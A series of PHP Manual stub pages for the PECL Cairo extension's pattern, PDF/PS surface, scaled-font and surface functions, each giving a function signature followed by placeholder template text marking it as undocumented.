  • cairo_pattern_set_filter »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_set_extend

(PECL cairo >= 0.1.0)

cairo_pattern_set_extend — Description

Description

void cairo_pattern_set_extend ( string $pattern , string $extend )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

extend

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_extend() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_set_extend
  • cairo_pattern_set_matrix »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_set_filter

(PECL cairo >= 0.1.0)

cairo_pattern_set_filter — Description

Description

void cairo_pattern_set_filter ( CairoSurfacePattern $pattern , int $filter )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

filter

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_filter() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_set_filter
  • cairo_pattern_status »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_set_matrix

(PECL cairo >= 0.1.0)

cairo_pattern_set_matrix — Description

Description

void cairo_pattern_set_matrix ( CairoPattern $pattern , CairoMatrix $matrix )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

matrix

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_set_matrix
  • cairo_pdf_surface_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_status

(PECL cairo >= 0.1.0)

cairo_pattern_status — Description

Description

int cairo_pattern_status ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_status
  • cairo_pdf_surface_set_size »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pdf_surface_create

(PECL cairo >= 0.1.0)

cairo_pdf_surface_create — Description

Description

CairoPdfSurface cairo_pdf_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pdf_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pdf_surface_create
  • cairo_ps_get_levels »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pdf_surface_set_size

(PECL cairo >= 0.1.0)

cairo_pdf_surface_set_size — Description

Description

void cairo_pdf_surface_set_size ( CairoPdfSurface $surface , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pdf_surface_set_size() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pdf_surface_set_size
  • cairo_ps_level_to_string »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_get_levels

(PECL cairo >= 0.1.0)

cairo_ps_get_levels — Description

Description

array cairo_ps_get_levels ( void )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_get_levels() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_get_levels
  • cairo_ps_surface_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_level_to_string

(PECL cairo >= 0.1.0)

cairo_ps_level_to_string — Description

Description

string cairo_ps_level_to_string ( int $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_level_to_string() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_level_to_string
  • cairo_ps_surface_dsc_begin_page_setup »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_create

(PECL cairo >= 0.1.0)

cairo_ps_surface_create — Description

Description

CairoPsSurface cairo_ps_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_create
  • cairo_ps_surface_dsc_begin_setup »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_dsc_begin_page_setup

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_begin_page_setup — Description

Description

void cairo_ps_surface_dsc_begin_page_setup ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_begin_page_setup() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_dsc_begin_page_setup
  • cairo_ps_surface_dsc_comment »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_dsc_begin_setup

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_begin_setup — Description

Description

void cairo_ps_surface_dsc_begin_setup ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_begin_setup() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_dsc_begin_setup
  • cairo_ps_surface_get_eps »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_dsc_comment

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_comment — Description

Description

void cairo_ps_surface_dsc_comment ( CairoPsSurface $surface , string $comment )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

comment

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_comment() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_dsc_comment
  • cairo_ps_surface_restrict_to_level »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_get_eps

(PECL cairo >= 0.1.0)

cairo_ps_surface_get_eps — Description

Description

bool cairo_ps_surface_get_eps ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_get_eps() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_get_eps
  • cairo_ps_surface_set_eps »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_restrict_to_level

(PECL cairo >= 0.1.0)

cairo_ps_surface_restrict_to_level — Description

Description

void cairo_ps_surface_restrict_to_level ( CairoPsSurface $surface , int $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_restrict_to_level() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_restrict_to_level
  • cairo_ps_surface_set_size »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_set_eps

(PECL cairo >= 0.1.0)

cairo_ps_surface_set_eps — Description

Description

void cairo_ps_surface_set_eps ( CairoPsSurface $surface , bool $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_set_eps() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_set_eps
  • cairo_scaled_font_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_ps_surface_set_size

(PECL cairo >= 0.1.0)

cairo_ps_surface_set_size — Description

Description

void cairo_ps_surface_set_size ( CairoPsSurface $surface , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_set_size() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_ps_surface_set_size
  • cairo_scaled_font_extents »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_create

(PECL cairo >= 0.1.0)

cairo_scaled_font_create — Description

Description

CairoScaledFont cairo_scaled_font_create ( CairoFontFace $fontface , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $fontoptions )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

matrix

Description...

ctm

Description...

fontoptions

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_create
  • cairo_scaled_font_get_ctm »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_extents — Description

Description

array cairo_scaled_font_extents ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_extents
  • cairo_scaled_font_get_font_face »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_ctm

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_ctm — Description

Description

CairoMatrix cairo_scaled_font_get_ctm ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_ctm() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_ctm
  • cairo_scaled_font_get_font_matrix »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_font_face

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_face — Description

Description

CairoFontFace cairo_scaled_font_get_font_face ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_face() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_font_face
  • cairo_scaled_font_get_font_options »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_font_matrix

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_matrix — Description

Description

CairoFontOptions cairo_scaled_font_get_font_matrix ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_font_matrix
  • cairo_scaled_font_get_scale_matrix »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_font_options

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_options — Description

Description

CairoFontOptions cairo_scaled_font_get_font_options ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_options() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_font_options
  • cairo_scaled_font_get_type »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_scale_matrix

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_scale_matrix — Description

Description

CairoMatrix cairo_scaled_font_get_scale_matrix ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_scale_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_scale_matrix
  • cairo_scaled_font_glyph_extents »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_get_type

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_type — Description

Description

int cairo_scaled_font_get_type ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_get_type
  • cairo_scaled_font_status »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_glyph_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_glyph_extents — Description

Description

array cairo_scaled_font_glyph_extents ( CairoScaledFont $scaledfont , array $glyphs )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

glyphs

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_glyph_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_glyph_extents
  • cairo_scaled_font_text_extents »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_status

(PECL cairo >= 0.1.0)

cairo_scaled_font_status — Description

Description

int cairo_scaled_font_status ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_status
  • cairo_surface_copy_page »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_scaled_font_text_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_text_extents — Description

Description

array cairo_scaled_font_text_extents ( CairoScaledFont $scaledfont , string $text )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

text

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_text_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_scaled_font_text_extents
  • cairo_surface_create_similar »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_copy_page

(PECL cairo >= 0.1.0)

cairo_surface_copy_page — Description

Description

void cairo_surface_copy_page ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_copy_page() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_copy_page
  • cairo_surface_finish »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_create_similar

(PECL cairo >= 0.1.0)

cairo_surface_create_similar — Description

Description

CairoSurface cairo_surface_create_similar ( CairoSurface $surface , int $content , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

content

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_create_similar() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_create_similar
  • cairo_surface_flush »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_finish

(PECL cairo >= 0.1.0)

cairo_surface_finish — Description

Description

void cairo_surface_finish ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_finish() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_finish
  • cairo_surface_get_content »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_flush

(PECL cairo >= 0.1.0)

cairo_surface_flush — Description

Description

void cairo_surface_flush ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_flush() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_flush
  • cairo_surface_get_device_offset »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_get_content

(PECL cairo >= 0.1.0)

cairo_surface_get_content — Description

Description

int cairo_surface_get_content ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_content() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_get_content
  • cairo_surface_get_font_options »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_get_device_offset

(PECL cairo >= 0.1.0)

cairo_surface_get_device_offset — Description

Description

array cairo_surface_get_device_offset ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_device_offset() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_get_device_offset
  • cairo_surface_get_type »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_get_font_options

(PECL cairo >= 0.1.0)

cairo_surface_get_font_options — Description

Description

CairoFontOptions cairo_surface_get_font_options ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_font_options() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_get_font_options
  • cairo_surface_mark_dirty_rectangle »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_get_type

(PECL cairo >= 0.1.0)

cairo_surface_get_type — Description

Description

int cairo_surface_get_type ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_get_type
  • cairo_surface_mark_dirty »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_mark_dirty_rectangle

(PECL cairo >= 0.1.0)

cairo_surface_mark_dirty_rectangle — Description

Description

void cairo_surface_mark_dirty_rectangle ( CairoSurface $surface , float $x , float $y , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_mark_dirty_rectangle() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_mark_dirty_rectangle
  • cairo_surface_set_device_offset »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_mark_dirty

(PECL cairo >= 0.1.0)

cairo_surface_mark_dirty — Description

Description

void cairo_surface_mark_dirty ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_mark_dirty() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_mark_dirty
  • cairo_surface_set_fallback_resolution »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_set_device_offset

(PECL cairo >= 0.1.0)

cairo_surface_set_device_offset — Description

Description

void cairo_surface_set_device_offset ( CairoSurface $surface , float $x , float $y )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_set_device_offset() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_set_device_offset
  • cairo_surface_show_page »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_set_fallback_resolution

(PECL cairo >= 0.1.0)

cairo_surface_set_fallback_resolution — Description

Description

void cairo_surface_set_fallback_resolution ( CairoSurface $surface , float $x , float $y )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_set_fallback_resolution() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_set_fallback_resolution
  • cairo_surface_status »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_show_page

(PECL cairo >= 0.1.0)

cairo_surface_show_page — Description

Description

void cairo_surface_show_page ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_show_page() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_show_page
  • cairo_surface_write_to_png »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_status

(PECL cairo >= 0.1.0)

cairo_surface_status — Description

Description

int cairo_surface_status ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_status
  • cairo_svg_surface_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_surface_write_to_png

(PECL cairo >= 0.1.0)

cairo_surface_write_to_png — Description

Description

void cairo_surface_write_to_png ( CairoSurface $surface , resource $stream )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

stream

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_write_to_png() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_surface_write_to_png
  • cairo_svg_surface_restrict_to_version »
  • PHP Manual
  • Cairo Functions
